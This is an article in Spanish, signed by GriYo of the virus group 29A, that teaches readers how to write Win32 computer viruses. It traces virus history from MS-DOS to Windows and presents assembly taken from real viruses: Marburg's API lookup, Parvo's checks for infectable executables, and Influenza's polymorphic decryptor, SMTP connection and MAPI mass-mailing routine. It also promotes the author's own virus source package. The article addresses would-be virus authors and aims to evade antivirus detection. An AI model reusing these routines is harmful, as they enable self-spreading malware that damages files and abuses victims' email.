Si damos un paseo por Internet en busca de páginas especializadas en el tema de los virus informáticos nos encontraremos con un montón de documentos, colecciones de virus, fuentes, links muertos y todo tipo de información totalmente obsoleta. El motivo de esto lo encontramos en la desaparición paulatina del MsDos. De los cerca de 30.000 virus conocidos hoy en día el 90% aproximadamente son virus de MsDos. La mayoría de estos virus de MsDos que fueron tan famosos hace años dejaron de funcionar con la aparición de Windows. Muchos virus utilizan métodos indocumentados y poco compatibles, y de igual forma que ocurre con los *exploits* o con los *denial of service* las técnicas empleadas dejan de funcionar, y los problemas de seguridad se arreglan ( aunque en ocasiones se acrecientan ).
Con la aparición de Windows 3.0 muchos virus perdieron la compatibilidad, pero la *scene* aun estaba muy concurrida, y no tardaron en salir a la luz trabajos orientados a este entorno. Esto mismo sucedió con la llegada de las sucesivas versiones de Windows anteriores al 95. Trabajos como el virus Sucksexee (aka Implant.6128) exprimieron hasta los extremos más insospechados toda la capacidad del MsDos. Algunas características de este virus son:
Como vemos, es posible hacer infinitas combinaciones, y esa es la clave. Los antivirus, por aquel entonces, realizaban la búsqueda de ficheros infectados mediante una sencilla comparación de cadenas. El antivirus abría cada fichero del disco y buscaba en su interior fragmentos de virus. Este método presentaba problemas claramente evidentes:
El polimorfismo significaba la evasión total y efectiva a estos métodos de detección. Un virus polimórfico presenta un numero tan elevado de posibles mutaciones que seria imposible almacenar y buscar todas sus variantes.
Me atrevería a decir que difícilmente se podía llegar tan lejos en las técnicas empleadas sin mermar gravemente la capacidad del sistema, pero para entonces los desarrolladores de antivirus menos incompetentes dieron con lo que pudo haber sido la solución definitiva. Apareció la búsqueda heurística, basada en la aplicación de técnicas de inteligencia artificial. Pero todos sabemos que por muy inteligente que sea un programa de ordenador, jamas lo será de igual manera que un ser humano, y no han tardado en aparecer técnicas *anti-heuristicas*. Pero veamos un poco mas sobre la búsqueda heurística. Se trata de examinar un programa en busca de signos de infección. Un virus, cuando infecta un ejecutable, necesita realizar algunos cambios en él, siendo estos cambios sospechosos el objeto de la búsqueda por parte del anti-virus. Los motores heurísticos más avanzados eran capaces de detectar virus polimórficos, puesto que detectaban el bucle de encriptación del que hablábamos anteriormente, e incluso llegaban mas lejos, y mediante emulación eran capaces de deshacer este bucle y obtener una imagen clara del virus, pudiendo aplicar entonces la búsqueda por cadenas tradicional. El problema de la búsqueda heurística radica en que ofrece siempre una solución, aunque esta pueda no ser la correcta. Me refiero a los falsos positivos, es decir, programas que por sus especiales características dan positivo al buscar virus en ellos. En mas de una ocasión algún conocido antivirus ha dado por infectado algún fichero del sistema, con la subsiguiente avalancha de usuarios mosqueados. Con la aparición de Windows 95 y de la nueva plataforma Win32 todas estas técnicas, dependientes del funcionamiento interno del MsDos, dejaron de funcionar. La mayoría de los virus de sector de arranque se delatan a sí mismos tras infectar una maquina con Windows 95, que incorpora algunos mecanismos de protección contra los virus, básicos y primitivos. Otro ejemplo de esta pérdida de funcionalidad son los virus *stealth*, puesto que emplean técnicas no compatibles con el nuevo formato de nombres largos y las nuevas funciones de búsqueda de ficheros del sistema.
El desarrollo de virus se paralizó durante un tiempo. Seguían apareciendo virus de MsDos, pero el peligro estaba ya lejos. Aparecieron los primeros intentos dentro del ámbito de Win32, de la mano del siempre innovador grupo VLAD y su virus Bizatch ( denominado Boza por la gente de los anti-virus). Este virus empleaba técnicas primitivas que impedían su correcto funcionamiento ( como asumir direcciones fijas en memoria para el kernel y sus funciones), pero suponía un primer paso que seguramente alentó a muchos otros autores que no tardaron en dar el paso y empezar a investigar sobre esta nueva plataforma. Fue en este paso, para algunos de gigante, cuando desapareció gran parte de la scene. Las paginas web que antes recogían puntual información sobre la scene empezaron a no ser actualizadas con tanta regularidad, dada la falta de avances o descubrimientos. Solo algunos grupos concentraron todas sus fuerzas en la nueva plataforma, y aparecieron los primeros intentos serios, de la mano de grupos como IKX o 29A.Jacky Qwerty, autor del grupo 29A, fue sin duda uno de los impulsores de la tecnología vírica bajo 32bits. Sus virus Jacky y Cabanas asentaron las bases de lo que luego serian infectores más complejos y avanzados. Los desarrolladores de anti-virus aun andaban pensando como portar sus motores de búsqueda heurística a Win32 cuando apareció el primer virus polimórfico capaz de infectar ejecutables de Win32. Marburg pillo a muchos con los pantalones bajados, y eso le impulso *in-the-wild* llegando a aparecer ficheros infectados en los CdRom de revistas ampliamente difundidas, como PcGamer o PcPowerPlay. Las primeras muestras del virus Marburg cayeron en manos de los desarrolladores de anti-virus en agosto de 1998, cuando el virus llevaba ya cerca de 9 meses *in-the-wild*. Pese a esto aun tardaron unos dos meses mas en ser capaces de adaptar sus paquetes para ser capaces de afrontar este nuevo ataque. La guerra se declaraba de nuevo.
La nueva plataforma suponía un esfuerzo extra a la hora de desarrollar virus, pero su mayor potencial ponía en las manos de sus autores armas aun más potentes. Describir este nuevo potencial y su aplicación al desarrollo de virus es el objetivo de este articulo.
Esta claro que 16bits no son lo mismo que 32bits, ¿pero que diferencia supone esto a la hora de diseñar un motor de polimorfismo?. Para empezar ya no contamos solo con registros de 16bits ( ax, bx, etc..) si no que disponemos de toda la potencia del juego de registros extendidos ( eax, ebx, etc..). Una primera mejora sobre un motor de polimorfismo de 16bits seria añadir los 16bits que le faltan para llegar a 32. Veamos un ejemplo con una instrucción sencilla en ensamblador, MOV con el registro acumulador como destino. Donde antes solo podíamos generar:
MOV AL,imm8bit MOV AH,imm8bit MOV AX,imm16bit
Ahora contamos con las siguientes posibilidades:
MOV AL,imm8bit MOV AH,imm8bit MOV AX,imm16bit MOV EAX,imm32bit
Esto solo supone un incremento en la variabilidad de una sola instrucción, pero si ampliamos el ejemplo al resto de los registros y al resto de las instrucciones veremos que se trata de una importante mejora. Otro aspecto importante radica en el acceso a memoria que el bucle realiza a la hora de desencriptar el virus. En los antiguos motores de polimorfismo contábamos con acceso byte a byte o word a word, por ejemplo:
ADD BYTE PTR DS:[mem],imm8bit ADD WORD PTR DS:[mem],imm16bit
Puesto que ahora andamos en Win32 no solo nos podemos deshacer de los registros de segmento ( la memoria aparece plana a la vista de la aplicación, no segmentada) si no que además contamos con instrucciones que acceden a posiciones de memoria de 32bits. El ejemplo anterior se ampliaría a:
ADD BYTE PTR [mem],imm8bit ADD WORD PTR [mem],imm16bit ADD DWORD PTR [mem],imm32bit
De nuevo ganamos una sola posibilidad mas de variación, pero repito, si esto lo aplicamos a todas las posibles instrucciones daremos con una bonita explosión combinatoria, a la que aun nos queda por añadir mas posibilidades. Una de ellas esta formada por los nuevos métodos de indexación, donde antes podíamos generar:
ADD BYTE PTR DS:[reg],imm8bit ADD BYTE PTR DS:[reg+imm],imm8bit
Ahora nos encontramos con las siguientes posibilidades:
ADD BYTE PTR [reg],imm8bit ADD BYTE PTR [reg+imm],imm8bit ADD BYTE PTR [reg+reg],imm8bit ADD BYTE PTR [reg+reg+imm],imm8bit
Incluso podemos utilizar alguno de los exóticos modos de indexación del 386+ como por ejemplo [reg*02h]. Aquí hemos ganados mas posibilidades, que se multiplican al aplicar el ejemplo no solo a ADD y a referencias a BYTE, si no al resto de las instruciones y al resto de los tamaños del operador ( WORD y DWORD). Evidentemente, un gran potencial, y solo hemos empezado por analizar las instrucciones y registros del procesador. La generación automática de código polimórfico alcanza sus más altas cotas en aquellos engines capaces de seguir la evolución del código que generan, conociendo en cualquier momento el estado de cualquier registro o incluso su valor. A continuación podemos observar un fragmento del decriptor polimórfico que el virus Win32.Influenza utiliza para ocultar su presencia en los ficheros infectados:
:00401376 E81D000000 call 00401398
. .
. .
. .
:00401398 BE5F4D853E mov esi,3E854D5F
:0040139D 87DE xchg esi,ebx
:0040139F 5B pop ebx
:004013A0 668BFB mov di,bx
:004013A3 8BF8 mov edi,eax
:004013A5 66BDB0C8 mov bp,C8B0
:004013A9 5D pop ebp
:004013AA 0F8C03000000 jl 004013B3
:004013B0 6687D3 xchg bx,dx
:004013B3 FD std
:004013B4 664B dec bx
:004013B6 E9AA260100 jmp 00413A65
. .
. .
. .
:00413A65 E815000000 call 00413A7F
. .
. .
. .
:00413A7F 87FA xchg edx,edi
:00413A81 F8 clc
:00413A82 664F dec di
:00413A84 5B pop ebx
:00413A85 8AEE mov ch,dh
:00413A87 E912000000 jmp 00413A9E
Podemos observar como el código generado presenta una estructura compleja similar a la de un programa real. El motor de polimorfismo no tiene problemas para generar estructuras como la instrucción CALL de la dirección de memoria 00401376, que transfiere el control varias posiciones mas adelante. En la dirección 0040139F encontramos una instrucción POP que restaura el stack, eliminando la dirección de retorno guardada por la llamada anterior.
En los virus basados en MsDos utilizábamos las interrupciones que nos permitían acceder a funciones del MsDos ( int 21h) o de la Bios (int 13h). Todas esas funciones que utilizábamos para abrir un fichero o escribir en él residen ahora en DLL's, en este caso en KERNEL32.DLL. Localizar la dirección en memoria donde reside este modulo es vital, y para ello contamos con varios trucos. El virus puede localizar las funciones utilizadas por el programa que lo porta, y utilizarlas para infectar. Esto supondría una grave limitación: Si un ejecutable no utiliza alguna de las funciones necesarias para el funcionamiento del virus, este ejecutable no podra ser infectado. Una forma de evitar este problema:
Existen otros métodos y seguramente aparecerán muchos mas, pero estos dos son los más efectivos a la hora de escribir este articulo. Una vez el virus tiene acceso a las APIs ( funciones) del sistema no hay nada que no pueda hacer ¿ o sí?. Para empezar el virus puede poner en funcionamiento las APIs GetModuleHandle y GetProcAddress recién obtenidas para obtener el punto de entrada de un montón de funciones del kernel que sin duda le harán falta mas adelante, por ejemplo:
Algunas o todas estas APIs pueden ser de utilidad para el virus. Es de destacar en este punto la función LoadLibrary, que nos permitirá cargar en memoria cualquier modulo de Windows y utilizar sus APIs.
El siguiente fragmento pertenece al virus Marburg. Se trata de la rutina encargada de localizar cada una de las APIs del kernel necesarias para el funcionamiento del virus, todo ello con la ayuda de GetProcAddress.
get_K32_APIs: push ebx
lea esi,dword ptr [ebp+viral_functions]
lea edi,dword ptr [ebp+viral_addresses]
mov ecx,(offset viral_tbl_end-offset viral_functions)/04h
get_each_ep: cld
lodsd
add eax,ebp
push ecx
push esi
push edi
push eax
push dword ptr [ebp+a_Kernel32]
call dword ptr [ebp+a_GetProcAddr]
pop edi
pop esi
pop ecx
or eax,eax
jz exit_get_func
cld
stosd
loop get_each_ep
exit_get_func: mov ecx,eax
pop ebx
ret
viral_functions equ this byte
dd offset szCreateFileA
dd offset szCreateFileMap
dd offset szMapViewOfFile
dd offset szUnmapView
dd offset szCloseHandle
dd offset szFindFirst
dd offset szFindNext
dd offset szFindClose
dd offset szVirtualAlloc
dd offset szGetWinDir
dd offset szGetSysDir
dd offset szGetCurDir
dd offset szSetFileAttr
dd offset szSetFileTime
dd offset szDeleteFile
dd offset szGetCurProc
dd offset szWriteProcMem
dd offset szLoadLibrary
dd offset szGetSysTime
viral_tbl_end equ this byte
szGetModuleH db "GetModuleHandleA",00h
szGetProcAddr db "GetProcAddress",00h
szCreateFileA db "CreateFileA",00h
szCreateFileMap db "CreateFileMappingA",00h
szMapViewOfFile db "MapViewOfFile",00h
szUnmapView db "UnmapViewOfFile",00h
szCloseHandle db "CloseHandle",00h
szFindFirst db "FindFirstFileA",00h
szFindNext db "FindNextFileA",00h
szFindClose db "FindClose",00h
szVirtualAlloc db "VirtualAlloc",00h
szGetWinDir db "GetWindowsDirectoryA",00h
szGetSysDir db "GetSystemDirectoryA",00h
szGetCurDir db "GetCurrentDirectoryA",00h
szSetFileAttr db "SetFileAttributesA",00h
szSetFileTime db "SetFileTime",00h
szDeleteFile db "DeleteFileA",00h
szGetCurProc db "GetCurrentProcess",00h
szWriteProcMem db "WriteProcessMemory",00h
szLoadLibrary db "LoadLibraryA",00h
szGetSysTime db "GetSystemTime",00h
viral_addresses equ this byte
a_CreateFile dd 00000000h
a_CreateFileMap dd 00000000h
a_MapViewOfFile dd 00000000h
a_UnmapView dd 00000000h
a_CloseHandle dd 00000000h
a_FindFirst dd 00000000h
a_FindNext dd 00000000h
a_FindClose dd 00000000h
a_VirtualAlloc dd 00000000h
a_GetWindowsDir dd 00000000h
a_GetSystemDir dd 00000000h
a_GetCurDir dd 00000000h
a_SetFileAttr dd 00000000h
a_SetFileTime dd 00000000h
a_DeleteFile dd 00000000h
a_GetCurProc dd 00000000h
a_WriteProcMem dd 00000000h
a_LoadLibrary dd 00000000h
a_GetSysTime dd 00000000h
Utilizando las API's del kernel LoadLibrary y GetProcAddress podemos cargar cualquier modulo de Windows y obtener las direcciones de las API's que nos interesen dentro de él. Así podremos incluir en nuestro virus multitud de características nuevas que resultaban impensables cuando aun andábamos en el MsDos. Algunos de los módulos con cuyas API's podemos contar son:
Estas son algunos de los módulos mas *golosos* con cuyas funciones podemos contar en nuestro virus, pero existe toda una pila de módulos destinados a multitud de tareas, no tenemos mas que echar un ojo al directorio SYSTEM32 dentro de la carpeta de Windows. Otros módulos interesantes en la programación de virus podrían ser: NETAPI32.DLL, SHELL32.DLL, RASAPI.DLL, OPENGL32.DLL...
Esta característica de Win32 nos da la posibilidad de traernos un ejecutable entero a memoria, por grande que sea, y acceder a él fácilmente utilizando como índice la dirección de memoria donde es mapeado. De esta forma nos evitamos constantes accesos a disco y desplazamientos innecesarios del puntero de lectura/escritura. El procedimiento es el siguiente:
Veamos un ejemplo de como funcionan estas API's:
xor eax,eax ;
push eax ;
push FILE_ATTRIBUTE_NORMAL ; Atributos
push OPEN_EXISTING ; Acción
push eax ;
push eax ;
push GENERIC_WRITE or GENERIC_READ ; Modo de acceso
lea eax,dword ptr [ebp+file2open] ; Nombre del fichero
push eax ;
call dword ptr [ebp+a_CreateFileA] ;
cmp eax,INVALID_HANDLE_VALUE ; ¿ Error ?
je error_createfile ;
mov dword ptr [ebp+h_CreateFile],eax ; Guardamos el handle
xor eax,eax ;
push eax ;
push dword ptr [ebp+size] ; Tamaño del fichero
push eax ;
push PAGE_READWRITE ; Derechos
push eax ;
push dword ptr [ebp+h_CreateFile] ; Handle
call dword ptr [ebp+a_CreateFileMappingA] ;
or eax,eax ; ¿ Error ?
jz error_filemap ;
mov dword ptr [ebp+h_FileMap],eax ; Guardamos el handle
xor eax,eax ;
push dword ptr [ebp+size] ; Tamaño del fichero
push eax ;
push eax ;
push FILE_MAP_READ or FILE_MAP_WRITE ; Modo de acceso
push eax ;
call dword ptr [ebp+a_MapViewOfFile] ;
or eax,eax ; ? Error ?
jz error_view ;
mov dword ptr [ebp+base_addr],eax ; Guardamos la direccion
Como resultado de la ejecución satisfactoria del código anterior obtenemos un puntero ( que guardamos en la dirección local indicada por base_addr ) al fichero en memoria. Utilizaremos este puntero para leer o escribir en memoria, reflejándose estas lecturas/escrituras en el fichero en disco. Una limitación en esta técnica radica en que no podemos hacer crecer el fichero una vez abierto. En el código anterior podemos observar como uno de los parámetros de llamada a estas API's es el tamaño del fichero. Pues bien, tendremos que abrir el fichero indicando su tamaño mas el tamaño requerido por el virus. Pero la primera vez que abrimos el fichero aun no sabemos si se trata de una víctima valida, algunas soluciones a este problema pasan por:
La gestión de excepciones ( Structured Exception Handling ) es sin duda una de las características más interesantes y más utilizadas de Win32 y a la vez de las menos documentadas, al menos por lo que a su funcionamiento interno se refiere. Describir el funcionamiento y la implementación de esta técnica bien podria ser el objeto de un artículo entero, y en consecuencia no será tradado aqui. Para obtener mas informacion visita mi página web ([11]BioTech), en la sección *PAPERS* encontrarás el artículo "A Crash Course on the Depths of Win32 Structured Exception Handling". Un interesantísimo artículo escrito por Matt Pietrek ( autor de libros como "Windows 95 System Programming Secrets" ) acerca de las interioridades del *SEH*.
Microsoft introdujo un nuevo formato para los ficheros ejecutables con la llegada de la plataforma Win32. El nuevo formato, llamado "Portable Executable", pese a resultar más complejo a primera vista, presenta una estructura jerarquizada que, una vez comprendidas las estructuras internas que lo forman, facilita enormemente las labores de búsqueda, análisis y modificación de los campos que nos interesan.
Lo primero que encontramos al analizar la estructura de un PE es la cabecera MsDos. Se trata de la misma cabecera que presentan los ficheros .EXE de MsDos. Su finalidad es mostrar un mensaje que dice algo así como "This program cannot be run in DOS mode", cuando intentamos ejecutar una aplicación de Windows estando en MsDos.
La cabecera de los ficheros .EXE de MsDos presenta una marca que permite identificarla como tal. Podremos verla si abrimos algún ejecutable con un editor hexadecimal, se trata de los caracteres "MZ". De igual manera, la cabecera PE se encuentra identificada por la cadena "PE\0\0" que encontramos como primer campo.
A continuación aparece la "FileHeader", que recoge información básica acerca del fichero, como el numero de secciones de que consta o la fecha y hora en que fue *linkado*. Veamos la declaración de esta estructura:
IMAGE_FILE_HEADER STRUC FH_Machine DW ? FH_NumberOfSections DW ? FH_TimeDateStamp DD ? FH_PointerToSymbolTable DD BYTE PTR ? FH_NumberOfSymbols DD ? FH_SizeOfOptionalHeader DW ? FH_Characteristics DW ? IMAGE_FILE_HEADER ENDS IMAGE_SIZEOF_FILE_HEADER EQU SIZE IMAGE_FILE_HEADER
Le sigue la "OptionalHeader", que pese a su nombre de *optional* contiene información concreta e indispensable para la correcta interpretación del resto del ejecutable. Esta es la declaración:
IMAGE_OPTIONAL_HEADER STRUC
; Standard fields:
OH_Magic DW ?
OH_MajorLinkerVersion DB ?
OH_MinorLinkerVersion DB ?
OH_SizeOfCode DD ?
OH_SizeOfInitializedData DD ?
OH_SizeOfUninitializedData DD ?
OH_AddressOfEntryPoint DD BYTE PTR ?
OH_BaseOfCode DD BYTE PTR ?
OH_BaseOfData DD BYTE PTR ?
; NT additional fields:
OH_ImageBase DD BYTE PTR ?
OH_SectionAlignment DD ?
OH_FileAlignment DD ?
OH_MajorOperatingSystemVersion DW ?
OH_MinorOperatingSystemVersion DW ?
OH_MajorImageVersion DW ?
OH_MinorImageVersion DW ?
OH_MajorSubsystemVersion DW ?
OH_MinorSubsystemVersion DW ?
OH_Reserved1 DD ?
OH_SizeOfImage DD ?
OH_SizeOfHeaders DD ?
OH_CheckSum DD ?
OH_Subsystem DW ?
OH_DllCharacteristics DW ?
OH_SizeOfStackReserve DD ?
OH_SizeOfStackCommit DD ?
OH_SizeOfHeapReserve DD ?
OH_SizeOfHeapCommit DD ?
OH_LoaderFlags DD ?
OH_NumberOfRvaAndSizes DD ?
UNION
OH_DataDirectory IMAGE_DATA_DIRECTORY \
IMAGE_NUMBEROF_DIRECTORY_ENTRIES \
DUP (?)
OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
ENDS
IMAGE_OPTIONAL_HEADER ENDS
IMAGE_SIZEOF_STD_OPTIONAL_HEADER EQU 28d
IMAGE_SIZEOF_NT_OPTIONAL_HEADER EQU SIZE IMAGE_OPTIONAL_HEADER
En el fichero PE.INC (ver "29A Include files" en el apéndice A) encontraras la declaración del resto de las estructuras que componen la cabecera PE. Como ejemplo de como acceder a estas estructuras vemos, a continuación, un fragmento del virus Win32.Parvo, en el que el virus chequea algunos campos de la cabecera PE para comprobar si el ejecutable es apto para el método de infección utilizado:
;Comprobar que la marca MZ esta presente en la dirección base
;del fichero mapeado en memoria
cld
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
jne inf_close_file
;Chequear la posición de la "relocation table"
cmp word ptr [ebx+MZ_lfarlc],0040h
jb inf_close_file
;Ahora nos desplazamos a la cabecera PE y miramos si podemos en contrar
;allí la marca que la identifica
mov esi,dword ptr [ebx+MZ_lfanew]
add esi,ebx
lodsd
cmp eax,IMAGE_NT_SIGNATURE
jne inf_close_file
;Mirar la CPU para la que fue compilado este ejecutable
;permitir solo ejecutables para INTEL i386
cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
jne inf_close_file
;Un vistazo a las características para comprobar que se trata de un
;ejecutable
mov ax,word ptr [esi+FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz inf_close_file
;Evitamos infectar DLL's
test ax,IMAGE_FILE_DLL
jnz inf_close_file
;Infectar sólo aplicaciones gráficas, no de consola
cmp word ptr [esi+ \
IMAGE_SIZEOF_FILE_HEADER+ \
OH_Subsystem],IMAGE_SUBSYSTEM_WINDOWS_GUI
jne inf_close_file
¿ Quién no ha jugado alguna vez a enviar un mail utilizando un cliente de TELNET?. Es bien sencillo, conectamos al puerto 25 (SMTP) del servidor de correo y vamos enviando los comandos necesarios para construir un mensaje, a saber:
220 mail.servidor.cualquiera SMTP/smap Ready. helo server.mio 250 (server.mio) pleased to meet you. mail from: <usuario@server.mio> 250 <usuario@server.mio>... Sender Ok rcpt to: <destinatario@server.suyo> 250 <destinatario@server.suyo> OK data 354 Enter mail. end with "." on a line by itself. from: usuario <usuario@server.mio> to: destinatario <destinatario@server.suyo> subject: Este es el asunto
Este es el cuerpo del mensaje
. 250 Mail accepted quit 221 Closing connection
Pues esto es exactamente lo que un virus tiene que hacer para generar un mensaje de correo electrónico. Con la ayuda de las funciones de WINSOCK.DLL podemos realizar estas operaciones. Implementar un motor SMTP ( Simple Mail Transfer Protocol ) en ensamblador no es labor sencilla, veamos como ejemplo un fragmento del virus Win32.Influenza, en el que encontramos un ejemplo de como conectar con el servidor de mail:
lea eax,dword ptr [ebp+WSA_data] ; Iniciar WINSOCK push eax ; push 00000101h ; call dword ptr [ebp+a_WSAStartup] ; or eax,eax ; ¿ Error ? jnz WSA_CleanUp ; lea eax,dword ptr [ebp+host_name] ; Obtener host a partir de push eax ; su nombre call dword ptr [ebp+a_gethostbyname] ; or eax,eax ; ¿ Error ? jz WSA_CleanUp ; cld ; lea esi,dword ptr [eax+00000008h] ; lea edi,dword ptr [ebp+SockAddrIn] ; push edi ; movsw ; push 25 ; Puerto SMTP call dword ptr [ebp+a_htons] ; Convertir byte-order cld ; stosw ; lodsw ; movzx ecx,ax ; lodsd ; mov esi,dword ptr [eax] ; rep movsb ; Preparar SockAddrIn push ecx ; push SOCK_STREAM ; Usar TCP push AF_INET ; Internet call dword ptr [ebp+a_socket] ; Creamos el socket pop edi ; cmp eax,00000000h ; ¿ Error ? jl WSA_CleanUp ; mov dword ptr [ebp+conn_sock],eax ; Guardar descriptor push SizeOfAddrIn ; push edi ; push eax ; call dword ptr [ebp+a_connect] ; Conectar cmp eax,0FFFFFFFFh ; ¿ Error ? je Disconnect ;
La definición de las estructuras utilizadas en el ejemplo anterior, como WSA_data o SockAddrIn, podemos encontrarlas en los ficheros de *includes* de nuestro compilador de C favorito... O en el Win32 SDK de Microsoft, donde aparecen junto a detallada información sobre su utilización. El único inconveniente es que tenemos que portar todo a ensamblador, pero también se trata de una ventaja, si no prueba a escribir la misma función en C y compara el tamaño de los ejecutables resultantes.
Una forma de enviar mail, sencilla y eficaz pese a ser un tanto descarada, la encontramos en el siguiente código, que utiliza funciones de MAPI:
;Registrar nuestra sesion MAPI
lea eax,dword ptr [ebp+hMAPISession]
push eax ;lppSession
push 00000000h ;ulReserved
push 00000020h or 00008000h ;flFlags
push 00000000h ;lpszPassword
push 00000000h ;lpszProfileName
push 00000000h ;ulUIParam
call dword ptr [ebp+a_MAPILogon]
or eax,eax
jnz freeMAPI32
;Buscar un mensaje cualquiera dentro de las carpetas de
;Outlook
lea eax,dword ptr [ebp+MessageID]
push eax ;lpszMessageID
push 00000000h ;ulReserved
;MAPI_LONG_MSGID = 00004000h
push 00004000h ;flFlags
push 00000000h ;lpszSeedMessageID
push 00000000h ;lpszMessageType
push 00000000h ;ulUIParam
push dword ptr [ebp+hMAPISession] ;lhSession
call dword ptr [ebp+a_MAPIFindNext]
or eax,eax
jnz logoutMAPI32
;Tomamos el mensaje
lea eax,dword ptr [ebp+MessagePtr]
push eax ;lppMessage
push 00000000h ;ulReserved
;MAPI_ENVELOPE_ONLY = 00000040
;MAPI_PEEK = 00000080h
push 00000080h or 00000040h ;flFlags
lea eax,dword ptr [ebp+MessageID]
push eax ;lpszMessageID
push 00000000h ;ulUIParam
push dword ptr [ebp+hMAPISession] ;lhSession
call dword ptr [ebp+a_MAPIReadMail]
;Construimos un nuevo mensaje utilizando parte de la informacion
;obtenida del mensaje anterior
cld
lea edi,dword ptr [ebp+MapiMessage]
xor eax,eax
stosd ;ulReserved
lea eax,dword ptr [ebp+szSubject]
stosd ;lpszSubject
lea eax,dword ptr [ebp+szNoteText]
stosd ;lpszNoteText
xor eax,eax
stosd ;lpszMessageType
lea eax,dword ptr [ebp+szDate]
stosd ;lpszDate
xor eax,eax
stosd ;lpszConversationID
mov eax,00000002h ;MAPI_RECEIPT_REQUESTED
stosd ;flFlags
lea eax,dword ptr [ebp+MsgFrom]
stosd ;lpOriginator
mov eax,00000001h
stosd ;nRecipCount
lea eax,dword ptr [ebp+MsgTo]
stosd ;lpRecips
mov eax,00000001h
stosd ;nFileCount
lea eax,dword ptr [ebp+MapiFileDesc]
stosd ;lpFiles
;Origen del mensaje
xor eax,eax ;ulReserved
stosd
stosd ;ulRecipClass
lea eax,dword ptr [ebp+szNameFrom]
stosd ;lpszName
lea eax,dword ptr [ebp+szMailFrom]
stosd ;lpszAddress
xor eax,eax
stosd ;ulEIDSize
stosd ;lpEntryID
;Destino del mensaje
stosd ;ulReserved
inc eax ;MAPI_TO
stosd ;ulRecipClass
mov esi,dword ptr [ebp+MessagePtr]
add esi,0000001Ch ;Go to originator
lodsd
lea esi,dword ptr [eax+00000008h]
movsd
movsd
xor eax,eax
stosd ;ulEIDSize
stosd ;lpEntryID
;Indicamos el fichero que queremos incluir junto con el mensaje
stosd ;ulReserved
stosd ;flFlags
mov eax,00000000h
stosd ;nPosition
lea eax,dword ptr [ebp+szFileAttach]
stosd ;lpszPathName
lea eax,dword ptr [ebp+szFileMsg]
stosd ;lpszFileName
xor eax,eax
stosd ;lpFileType
;Y finalmente enviamos el mensaje
push 00000000h
push 00000000h
lea eax,dword ptr [ebp+MapiMessage]
push eax
push 00000000h
push dword ptr [ebp+hMAPISession]
call dword ptr [ebp+a_MAPISendMail]
;Antes de terminar es necesario liberar la memoria que ha quedado
;reservada por MAPI
push dword ptr [ebp+MessagePtr]
call dword ptr [ebp+a_MAPIFreeBuffer]
;Seamos elegantes, despidámonos
logoutMAPI32: push 00000000h
push 00000000h
push 00000000h
push dword ptr [ebp+hMAPISession]
call dword ptr [ebp+a_MAPILogoff]
;Liberamos MAPI32.DLL para terminar
freeMAPI32: push dword ptr [ebp+hMAPI32]
call FreeLibrary
Junto con el paquete que acompaña a este articulo encontraras los ficheros necesarios para manejar fácilmente en ensamblador las numerosas estructuras y constantes con las que nos encontraremos al trabajar en Win32. Estos ficheros, una vez incluidos en nuestro código fuente, nos facilitaran la vida a la hora de escribir fuentes más claros e inteligibles. Su autor, Jacky Qwerty ( del grupo 29A ) ha incluido en ellos todas las estructuras básicas y constantes que necesitaremos para empezar a trabajar en serio.
INCLUDES.ZIP (29A Include files)
Además de los ficheros de *includes* de 29A, en el paquete adjunto encontrarás el código fuente de algunos virus que he desarrollado para la plataforma Win32. Esta es una lista de los ficheros y su contenido:
En mi pagina personal podrás encontrar información detallada sobre el funcionamiento de cada uno de estos virus, además de artículos, tutoriales, notícias y utilidades. La URL es:
Por GriYo / 29A
S1